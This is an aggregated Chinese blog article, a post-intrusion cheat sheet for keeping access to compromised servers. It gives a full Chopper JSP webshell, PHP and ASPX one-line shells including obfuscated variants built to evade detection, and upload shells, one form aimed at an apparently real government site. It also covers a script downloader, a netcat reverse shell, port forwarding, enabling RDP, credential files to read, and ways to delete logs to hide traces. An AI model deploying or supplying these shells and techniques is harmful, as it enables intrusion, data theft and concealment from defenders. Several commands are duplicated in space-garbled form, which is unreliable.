[聚合文章] 维持访问 WebShell

MySQL 2017-12-07 24 阅读

这个JSP的一句话比较恐怖

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>  
<%!String Pwd = "chopper";  
  
    String EC(String s, String c) throws Exception {  
        return s;  
    }//new String(s.getBytes("ISO-8859-1"),c);}  
  
    Connection GC(String s) throws Exception {  
        String[] x = s.trim().split("\r\n");  
        Class.forName(x[0].trim()).newInstance();  
        Connection c = DriverManager.getConnection(x[1].trim());  
        if (x.length > 2) {  
            c.setCatalog(x[2].trim());  
        }  
        return c;  
    }  
  
    void AA(StringBuffer sb) throws Exception {  
        File r[] = File.listRoots();  
        for (int i = 0; i < r.length; i++) {  
            sb.append(r[i].toString().substring(0, 2));  
        }  
    }  
  
    void BB(String s, StringBuffer sb) throws Exception {  
        File oF = new File(s), l[] = oF.listFiles();  
        String sT, sQ, sF = "";  
        java.util.Date dt;  
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
        for (int i = 0; i < l.length; i++) {  
            dt = new java.util.Date(l[i].lastModified());  
            sT = fm.format(dt);  
            sQ = l[i].canRead() ? "R" : "";  
            sQ += l[i].canWrite() ? " W" : "";  
            if (l[i].isDirectory()) {  
                sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()  
                        + "\t" + sQ + "\n");  
            } else {  
                sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"  
                        + sQ + "\n";  
            }  
        }  
        sb.append(sF);  
    }  
  
    void EE(String s) throws Exception {  
        File f = new File(s);  
        if (f.isDirectory()) {  
            File x[] = f.listFiles();  
            for (int k = 0; k < x.length; k++) {  
                if (!x[k].delete()) {  
                    EE(x[k].getPath());  
                }  
            }  
        }  
        f.delete();  
    }  
  
    void FF(String s, HttpServletResponse r) throws Exception {  
        int n;  
        byte[] b = new byte[512];  
        r.reset();  
        ServletOutputStream os = r.getOutputStream();  
        BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));  
        os.write(("->" + "|").getBytes(), 0, 3);  
        while ((n = is.read(b, 0, 512)) != -1) {  
            os.write(b, 0, n);  
        }  
        os.write(("|" + "<-").getBytes(), 0, 3);  
        os.close();  
        is.close();  
    }  
  
    void GG(String s, String d) throws Exception {  
        String h = "0123456789ABCDEF";  
        int n;  
        File f = new File(s);  
        f.createNewFile();  
        FileOutputStream os = new FileOutputStream(f);  
        for (int i = 0; i < d.length(); i += 2) {  
            os  
                    .write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d  
                            .charAt(i + 1))));  
        }  
        os.close();  
    }  
  
    void HH(String s, String d) throws Exception {  
        File sf = new File(s), df = new File(d);  
        if (sf.isDirectory()) {  
            if (!df.exists()) {  
                df.mkdir();  
            }  
            File z[] = sf.listFiles();  
            for (int j = 0; j < z.length; j++) {  
                HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());  
            }  
        } else {  
            FileInputStream is = new FileInputStream(sf);  
            FileOutputStream os = new FileOutputStream(df);  
            int n;  
            byte[] b = new byte[512];  
            while ((n = is.read(b, 0, 512)) != -1) {  
                os.write(b, 0, n);  
            }  
            is.close();  
            os.close();  
        }  
    }  
  
    void II(String s, String d) throws Exception {  
        File sf = new File(s), df = new File(d);  
        sf.renameTo(df);  
    }  
  
    void JJ(String s) throws Exception {  
        File f = new File(s);  
        f.mkdir();  
    }  
  
    void KK(String s, String t) throws Exception {  
        File f = new File(s);  
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
        java.util.Date dt = fm.parse(t);  
        f.setLastModified(dt.getTime());  
    }  
  
    void LL(String s, String d) throws Exception {  
        URL u = new URL(s);  
        int n;  
        FileOutputStream os = new FileOutputStream(d);  
        HttpURLConnection h = (HttpURLConnection) u.openConnection();  
        InputStream is = h.getInputStream();  
        byte[] b = new byte[512];  
        while ((n = is.read(b, 0, 512)) != -1) {  
            os.write(b, 0, n);  
        }  
        os.close();  
        is.close();  
        h.disconnect();  
    }  
  
    void MM(InputStream is, StringBuffer sb) throws Exception {  
        String l;  
        BufferedReader br = new BufferedReader(new InputStreamReader(is));  
        while ((l = br.readLine()) != null) {  
            sb.append(l + "\r\n");  
        }  
    }  
  
    void NN(String s, StringBuffer sb) throws Exception {  
        Connection c = GC(s);  
        ResultSet r = c.getMetaData().getCatalogs();  
        while (r.next()) {  
            sb.append(r.getString(1) + "\t");  
        }  
        r.close();  
        c.close();  
    }  
  
    void OO(String s, StringBuffer sb) throws Exception {  
        Connection c = GC(s);  
        String[] t = { "TABLE" };  
        ResultSet r = c.getMetaData().getTables(null, null, "%", t);  
        while (r.next()) {  
            sb.append(r.getString("TABLE_NAME") + "\t");  
        }  
        r.close();  
        c.close();  
    }  
  
    void PP(String s, StringBuffer sb) throws Exception {  
        String[] x = s.trim().split("\r\n");  
        Connection c = GC(s);  
        Statement m = c.createStatement(1005, 1007);  
        ResultSet r = m.executeQuery("select * from " + x[3]);  
        ResultSetMetaData d = r.getMetaData();  
        for (int i = 1; i <= d.getColumnCount(); i++) {  
            sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)  
                    + ")\t");  
        }  
        r.close();  
        m.close();  
        c.close();  
    }  
  
    void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {  
        int i;  
        Connection c = GC(s);  
        Statement m = c.createStatement(1005, 1008);  
        try {  
            ResultSet r = m.executeQuery(q);  
            ResultSetMetaData d = r.getMetaData();  
            int n = d.getColumnCount();  
            for (i = 1; i <= n; i++) {  
                sb.append(d.getColumnName(i) + "\t|\t");  
            }  
            sb.append("\r\n");  
            while (r.next()) {  
                for (i = 1; i <= n; i++) {  
                    sb.append(EC(r.getString(i), cs) + "\t|\t");  
                }  
                sb.append("\r\n");  
            }  
            r.close();  
        } catch (Exception e) {  
            sb.append("Result\t|\t\r\n");  
            try {  
                m.executeUpdate(q);  
                sb.append("Execute Successfully!\t|\t\r\n");  
            } catch (Exception ee) {  
                sb.append(ee.toString() + "\t|\t\r\n");  
            }  
        }  
        m.close();  
        c.close();  
    }%>  
      
      
<%  
    String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";  
    request.setCharacterEncoding(cs);  
    response.setContentType("text/html;charset=" + cs);  
    String Z = EC(request.getParameter(Pwd) + "", cs);  
    String z1 = EC(request.getParameter("z1") + "", cs);  
    String z2 = EC(request.getParameter("z2") + "", cs);  
    StringBuffer sb = new StringBuffer("");  
    try {  
        sb.append("->" + "|");  
        if (Z.equals("A")) {  
            String s = new File(application.getRealPath(request  
                    .getRequestURI())).getParent();  
            sb.append(s + "\t");  
            if (!s.substring(0, 1).equals("/")) {  
                AA(sb);  
            }  
        } else if (Z.equals("B")) {  
            BB(z1, sb);  
        } else if (Z.equals("C")) {  
            String l = "";  
            BufferedReader br = new BufferedReader(  
                    new InputStreamReader(new FileInputStream(new File(  
                            z1))));  
            while ((l = br.readLine()) != null) {  
                sb.append(l + "\r\n");  
            }  
            br.close();  
        } else if (Z.equals("D")) {  
            BufferedWriter bw = new BufferedWriter(  
                    new OutputStreamWriter(new FileOutputStream(  
                            new File(z1))));  
            bw.write(z2);  
            bw.close();  
            sb.append("1");  
        } else if (Z.equals("E")) {  
            EE(z1);  
            sb.append("1");  
        } else if (Z.equals("F")) {  
            FF(z1, response);  
        } else if (Z.equals("G")) {  
            GG(z1, z2);  
            sb.append("1");  
        } else if (Z.equals("H")) {  
            HH(z1, z2);  
            sb.append("1");  
        } else if (Z.equals("I")) {  
            II(z1, z2);  
            sb.append("1");  
        } else if (Z.equals("J")) {  
            JJ(z1);  
            sb.append("1");  
        } else if (Z.equals("K")) {  
            KK(z1, z2);  
            sb.append("1");  
        } else if (Z.equals("L")) {  
            LL(z1, z2);  
            sb.append("1");  
        } else if (Z.equals("M")) {  
            String[] c = { z1.substring(2), z1.substring(0, 2), z2 };  
            Process p = Runtime.getRuntime().exec(c);  
            MM(p.getInputStream(), sb);  
            MM(p.getErrorStream(), sb);  
        } else if (Z.equals("N")) {  
            NN(z1, sb);  
        } else if (Z.equals("O")) {  
            OO(z1, sb);  
        } else if (Z.equals("P")) {  
            PP(z1, sb);  
        } else if (Z.equals("Q")) {  
            QQ(cs, z1, z2, sb);  
        }  
    } catch (Exception e) {  
        sb.append("ERROR" + ":// " + e.toString());  
    }  
    sb.append("|" + "<-");  
    out.print(sb.toString());  
%>

遍历目录

<%  
    String path;  
     path = request.getParameter("path");  
     java.io.File file = new java.io.File(path);  
     String [] s;  
     if(file.isDirectory()){  
          s = file.list();  
          for(int i=0;i<s.length;i++)  
           out.println(s[i]+"<br>");  
    }  
%>

读取文件

<%  
    java.lang.String strFileName;   
    java.io.File objFile;   
    java.io.FileReader objFileReader;   
    char[] chrBuffer = new char[100];   
    int intLength;   
    strFileName = request.getParameter("file");   
    objFile = new java.io.File(strFileName);  
      
    if(objFile.exists()){  
        objFileReader = new java.io.FileReader(objFile);   
        while((intLength=objFileReader.read(chrBuffer))!=-1)  
            out.write(chrBuffer,0,intLength);  
        objFileReader.close();   
    }   
%>

执行命令

<html>   
<%   
    Process p=Runtime.getRuntime().exec("cmd /c "+request.getParameter("cmd"));   
    java.io.BufferedReader br=new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));   
      
    String strline="";   
    StringBuffer result=new StringBuffer("");   
    while((strline=br.readLine())!=null)   
    {   
        result.append(strline+"\r\n");     
    }       
%>   
  
<%   
if(result!=null && result.toString().trim().equals("")==false)   
{   
%>   
<textarea name="hack" rows="20" cols="70"><%=result.toString()%></textarea>   
<%   
}   
%>   
</html>   

上传文件

<%  
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());  
%>

上传的本地页面

<form action="http://cgs.ytjj.gov.cn/ytcgs/dy.jsp?f=lanlan4.js" method="post">  
<textarea name=t cols=120 rows=10 width=45>JSP大马代码</textarea><BR><center><br>  
<input type=submit value="提交">  
</form>

PHP

后缀名

php/php3/php4/php5/pht/phtml

一句话

普通一句话

<?php eval($_POST[sb])?>  
<?php assert($_POST[sb]);?>

容错一句话,@是容错符,这里注意一点,使用assert的时候最好使用@,不然会爆一个Warning

<?php @assert($_POST[sb])?>

变量名做函数一句话

编码后的一句话,这是使用php变量可以做函数名这个特性,eval是不可变函数,不过assert可以

简单的形式

<?php   
$a="assert";  
$a($_POST[sb]);  
?>

复杂的形式,大括号括起来代表变量的意思,里面的1-2-5做了运算其实是-6

<?php  
@$_="s"."s"."e"."r";  
@$_="a".$_."t";  
@$_(${"_P"."OS"."T"}[1-2-5]);?>

这里就会有各种自由发挥了,大胆发挥想象力各种各样的shell就出现了

比如这种

<?php $aaaaa="sewtemznypianol";$bbbbb=$aaaaa{0}.$aaaaa{8}.$aaaaa{0}.$aaaaa{3}.$aaaaa{1}.$aaaaa{5}; $aaaaaa="edoced46esab_n"; $bbbbbb=$aaaaaa{11}.$aaaaaa{10}.$aaaaaa{9}.$aaaaaa{8}.$aaaaaa{7}.$aaaaaa{6}.$aaaaaa{12}.$aaaaaa{5}.$aaaaaa{4}.$aaaaaa{3}.$aaaaaa{2}.$aaaaaa{1}.$aaaaaa{0};echo $bbbbb($bbbbbb("aXBjb25maWc="));?>

另一种变形,不过这个菜刀连接的话需要在配置中写入a=assert

<?php  
@$_GET['a']($_GET['b']);  
?>

不使用<?的一句话

<script language="php">@eval($_POST[sb])</script>

使用可执行函数的函数的一句话

php中有一些函数可以吧一个自定义函数当做回调函数比如array_map()

把函数名当做字符串参数传递的时候,自然就可以随意编码

<?php array_map("ass\x65rt",(array)$_REQUEST['1']);?>

文件包含伪装一句话

首先可以使用文件包含对一句话进行伪装

eval(file_get_contents('php://input'));

也利用了apche服务器的错误日志文件,当访问一个不存在的连接时,日志中会记录下这样的一句话。

[Thu Aug 08 08:47:43 2013] [error] [client 127.0.0.1] File does not exist: C:/wamp/www/test/12345

先在文件中插入

include($_GET['f']);

然后使用一句话当做地址访问页面,让浏览器在log中保存一句话,注意这里浏览器会自动将一句话进行编码再提交,这样的话时不能执行的

http://127.0.0.1/test/<?php eval($_POST[sb])?>  

使用curl来达成访问

<?php  
    // 1. 初始化  
    $ch = curl_init();  
    // 2. 设置选项,包括URL  
    curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1/test/<?php eval(\$_POST[sb])?>");  
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);  
    curl_setopt($ch, CURLOPT_HEADER, 0);  
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/4");  
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);  
    // 3. 执行并获取HTML文档内容  
    $output = curl_exec($ch);  
    // 4. 释放curl句柄  
    curl_close($ch);  
?>

之后吧log的地址当做参数传入即可,这里log位置须自行查找。

http://127.0.0.1/test/123.php?f=C:\wamp\logs\apache_error.log

这样会吧log文件全部包含并显示,比较明显,如果文件比较大会很慢。

而且如果第一次插入的PHP语句有错,那么后面再插入的便都不能执行了。

极度变态的一句话

有一些走极端的外国人,非要弄不包含字母和数字写shell极度自虐。

主要技术就是php中array被强转成string的时候会变成“array”,

$_[1 + ""] = "";  
$_ = $_."";  
var_dump($_);

字符之间可以进行位运算。

echo 'a'|'b';//c!

+””会被解析成0,猜测是php遇到加号会把结果转成int型,undefine value会被解析成0

echo +""; //0  
echo 1+"";//1  
echo ++$xxx //1 xxx undefine  
$_="abc";  
echo ++$_;  //abd

这样这位外国大神就得到了一个没有字符的shell

<?  
$_="";  
$_[+""]='';  
$_="$_"."";  
$_=($_[+""]|"0x06").($_[+""]|"0x05").($_[+""]^"0x15");   //get  
?>  
<?=${'_'.$_}['_'](${'_'.$_}['__']);?>  

经过另一位大神的改进去掉了数字

<?php $_[]++;$_[]=$_._;$_=$_[$_[+_]];$_=$__=$___=$____=$_____=$______=$_[+_]; $_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++; $____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++; $_____++;$_____++;$_____++;$_____++; $______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++; $_=$_.$__.$___.$____.$_____.$______;$_("ipconfig"); ?>

上面的太复杂?这是概念版

$_[]++;     
$_[]=$_._;   
$_=$_[$_[+_]];   
$_=$_[+_];    //使用数组提取字符串   
$_++;        //偏移 1 得B,如果不用这句就是A   
$_("123");  //将$_ 作为函数使用

命令执行

php能执行命令的函数有不少,在 安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令

system()

可以直接输出命令执行结果

<?php  
system("dir");   
?>

exec()

只返回命令的最后一行,可以重载两个函数分别是结果和执行状态。

<?php   
echo exec("dir");   
exec("dir", $res);  
var_dump($res);  
exec("dir", $res, $rc);  
var_dump($rc);  
?>

passthru()

和system差不多的用法,直接输出

<?php   
passthru("dir");  
?>

popen()

这个函数可以可以建立一个可以互交的命令,把命令当做一个文件句柄打开,往里面读写

<?php   
/* PHP中如何增加一个系统用户   
下面是一段例程,增加一个名字为james的用户,   
root密码是 verygood。仅供参考   
*/   
$sucommand = "su --login root --command";   
$useradd = "useradd ";   
$rootpasswd = "verygood";   
$user = "james";   
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);   
$fp = @popen($user_add,"w");   
@fputs($fp,$rootpasswd);   
@pclose($fp);   
?>

点号执行命令大法

波浪线下面那个键括起来的字符串可以当命令执行。

<?php   
$cmd = `dir`;  
echo $cmd;   
?>

ASPX

一句话

普通一句话

<%@ Page Language=”Jscript”%><%eval(Request.Item["pass"],”unsafe”);%>  
<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%>

编码一句话,此方法可能不靠谱

<%@ Page Language = Jscript %>  
  
<%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/  
  
"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+  
  
"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+  
  
","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval  
  
(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>  

上传文件

<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["f"]) ); }%>  
<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request("f")) ) %>

后门

下载者

JS脚本写的下载者,需要执行命令的权限

//cscript down.js  http://127.0.0.1/1.exe  c:/1.exe   
var objArgs = WScript.Arguments;   
var sGet=new ActiveXObject("ADODB.Stream");   
var xGet = false;   
try {   
    xGet = new XMLHttpRequest();   
}    
catch (trymicrosoft) {   
    try {   
        xGet = new ActiveXObject("Msxml2.XMLHTTP");   
    }    
    catch (othermicrosoft) {   
        try {   
          xGet = new ActiveXObject("Microsoft.XMLHTTP");   
        }    
        catch (failed) {   
          xGet = false;   
        }   
    }   
}   
  
xGet.Open ("GET",objArgs(0).toLowerCase(),0);   
xGet.Send();   
sGet.Mode=3;   
sGet.Type=1;   
sGet.Open();   
sGet.Write (xGet.ResponseBody);   
sGet.SaveToFile (objArgs(1).toLowerCase(),2);

VPN

SSH

突破内网

端口转发与反弹连接

这里还有各种环境下的方法,非常牛逼

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Windows LCX端口转发

windows下的端口转发比较简单,只需要lcx就可以了。

[+] [=====examples=====]  
[*] lcx.exe -listen 6666 7777  
[*] lcx.exe -l 6666 7777  
[*] lcx.exe -slave 221.223.41.1 6666 127.0.0.1 3389  
[*] lcx.exe -s 221.223.41.1 6666 127.0.0.1 3389

Linux反弹连接

Linux下有自带的NC,可是做了功能的阉割没有 -e的选项

不能直接使用

nc -l -vv -p 2222 -e /bin/bash

不过可以这样利用

root@bt:~#mknod /tmp/backpipe p  
root@bt:~#/bin/sh 0</tmp/backpipe | nc x.x.x.x listenport 1>/tmp/backpipe

mknod只有在root权限下才可以使用,如果权限不够的话可以换成

mkfifo /tmp/backpipe

Linux端口映射

使用SSH应该可以,不过没有仔细研究

http : //improve.iteye.com/blog/1413884

http : //www.2cto.com/Article/201201/117834.html

收集信息与开启服务

Windows

开启服务

3389

Default

sc config termservice start= auto   
net start termservice

sc config termservice start = auto  

net start termservice

允许3389外连

Default

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" / v fDenyTSConnections / t REG_DWORD / d 0x0 / f

修改3389端

Default

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-
Tcp" /v PortNumber /t REG_DWORD /d 80 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-

Tcp" / v PortNumber / t REG_DWORD / d 80 / f

系统信息

查看系统版本信息

Default

ver

ver

查看系统详细信息,包括补丁版本

Default

systeminfo

systeminfo

查看账户登录情况

Default

quser

quser

敏感目录

Default

c:/boot.ini          //查看系统版本  
c:/windows/php.ini   //php配置信息  
c:/windows/my.ini    //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码  
c:/winnt/php.ini       
c:/winnt/my.ini  
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码  
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码  
c:\Program Files\Serv-U\ServUDaemon.ini  
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件  
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码  
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此  
c:\Program Files\RhinoSoft.com\ServUDaemon.exe  
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件  
//存储了pcAnywhere的登陆密码  
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件  
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.  
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机  
d:\APACHE\Apache2\conf\httpd.conf  
C:\Program Files\mysql\my.ini  
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置  
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

c : / boot . ini            //查看系统版本  

c : / windows / php . ini    //php配置信息  

c : / windows / my . ini      //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码  

c : / winnt / php . ini       

c : / winnt / my . ini   

c : \ mysql \ data \ mysql \ user . MYD    //存储了mysql.user表中的数据库连接密码  

c : \ Program Files \ RhinoSoft . com \ Serv - U \ ServUDaemon . ini    //存储了虚拟主机网站路径和密码  

c : \ Program Files \ Serv - U \ ServUDaemon . ini   

c : \ windows \ system32 \ inetsrv \ MetaBase . xml    //IIS配置文件  

c : \ windows \ repair \ sam    //存储了WINDOWS系统初次安装的密码  

c : \ Program Files \ Serv - U \ ServUAdmin . exe    //6.0版本以前的serv-u管理员密码存储于此  

c : \ Program Files \ RhinoSoft . com \ ServUDaemon . exe   

C : \ Documents and Settings \ All Users \ Application Data \ Symantec \ pcAnywhere \ * . cif 文件   

//存储了pcAnywhere的登陆密码  

c : \ Program Files \ Apache Group \ Apache \ conf \ httpd . confC : \ apache \ conf \ httpd . conf //查看     WINDOWS系统apache文件  

c : / Resin - 3.0.14 / conf / resin . conf    //查看jsp开发的网站 resin文件配置信息.  

c : / Resin / conf / resin . conf        / usr / local / resin / conf / resin . conf 查看 linux 系统配置的 JSP 虚拟主机   

d : \ APACHE \ Apache2 \ conf \ httpd . conf   

C : \ Program Files \ mysql \ my . ini   

c : \ windows \ system32 \ inetsrv \ MetaBase . xml 查看 IIS 的虚拟主机配置   

C : \ mysql \ data \ mysql \ user . MYD 存在 MYSQL 系统中的用户密码   

Linux

开启服务

判断SSH

Default

/etc/init.d/sshd status

/ etc / init . d / sshd status

版本信息

查看内核版本

Default

cat /proc/version  
uname -r  
uname -a

cat / proc / version  

uname - r   

uname - a   

查看系统版本

Default

lsb_release -a  
cat /etc/issue  
cat /etc/redhat-release  
rpm -q redhat-release   
file /bin/bash  
file /bin/cat

lsb_release - a   

cat / etc / issue  

cat / etc / redhat - release  

rpm - q redhat - release  

file / bin / bash  

file / bin / cat

管理员密码

获取管理员HasH

Default

cat /etc/shadow

cat / etc / shadow

痕迹清理

Windows

日志和警报

开始 – 程序 – 管理工具 – 计算机管理 – 系统工具-事件查看器

开始 – 程序 – 管理工具 – 计算机管理 – 系统工具-性能日志和警报

文件日志

清除这些日志时,要停掉相应的服务,要不然会出现文件在被另一个程序使用的情况。

比如

Default

net stop "task scheduler"

net stop "task scheduler"

不过守护安全日志和系统日志的服务是停不掉的,我们可以通过计算机管理-连接一台远程计算机来删除它们

Default

net stop eventlog

net stop eventlog

安全日志文件

Default

%systemroot%\system32\config\SecEvent.EVT

% systemroot % \ system32 \ config \ SecEvent . EVT

系统日志文件

Default

%systemroot%\system32\config\SysEvent.EVT

% systemroot % \ system32 \ config \ SysEvent . EVT

应用程序日志文件

Default

%systemroot%\system32\config\AppEvent.EVT

% systemroot % \ system32 \ config \ AppEvent . EVT

Internet信息服务FTP日志默认位置,默认每天一个日志

Default

%systemroot%\system32\logfiles\msftpsvc1\

% systemroot % \ system32 \ logfiles \ msftpsvc1 \

Internet信息服务WWW日志默认位置,默认每天一个日志

Default

%systemroot%\system32\logfiles\w3svc1\

% systemroot % \ system32 \ logfiles \ w3svc1 \

Scheduler服务日志默认位置

Default

%sys temroot%\schedlgu.txt

% sys temroot % \ schedlgu . txt

注册表日志

日志存放的目录,可以手动修改,路径存放于注册表中。

Default

HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent

HKEY_LOCAL_MACHINE \ system \ CurrentControlSet \ Services \ Eventlog  

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ SchedulingAgent

防火墙软件日志

这个见仁见智,逮住一通猛删就好。

MSSQL日志

这样可以查到数据库文件以及其备份文件存放的地方

Default

select * from master..sysdatabases;

select * from master . . sysdatabases ;

每个数据库都有一个同名LDF文件,查看方法是这样,可查看到数据库具体操作的记录

Default

dbcc log (DATABASE,n)   --n = (0,1,2,3,4)

dbcc log ( DATABASE , n )    -- n = ( 0 , 1 , 2 , 3 , 4 )

1 – 更多信息plus flags, tags, row length

3 – 每种操作的全部信息

删除这个LDF方法,就是把这个数据库分离,然后删除LDF文件,再附加回来就好了。

有风险,慎用。

MySQL日志

Mysql的Log文件是以二进制方式存储的,不能直接打开。

删除的话很简单的执行一下,即可

Default

Mysql>reset master;

Mysql > reset master ;

Apache日志

Apache的日志分为两种,访问日志和错误日志,分别叫做access.log error.log

存放位置不固定,路径定义在httpd.conf文件里,其中可以设置记录的等级

Default

ErrorLog ../logs/apache_error.log

ErrorLog . . / logs / apache_error . log

httpd.conf文件一般在,这两个地方

Default

/etctpd/conftpd.conf  
C:\wamp\Apache2\conftpd.conf

/ etctpd / conftpd . conf   

C : \ wamp \ Apache2 \ conftpd . conf

Linux

history

Default

http://linux.chinaunix.net/techdoc/net/2007/05/26/958765.shtml

http : //linux.chinaunix.net/techdoc/net/2007/05/26/958765.shtml

其他

Default

http://www.cnblogs.com/JemBai/archive/2012/04/18/2454905.html

http : //www.cnblogs.com/JemBai/archive/2012/04/18/2454905.html

注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。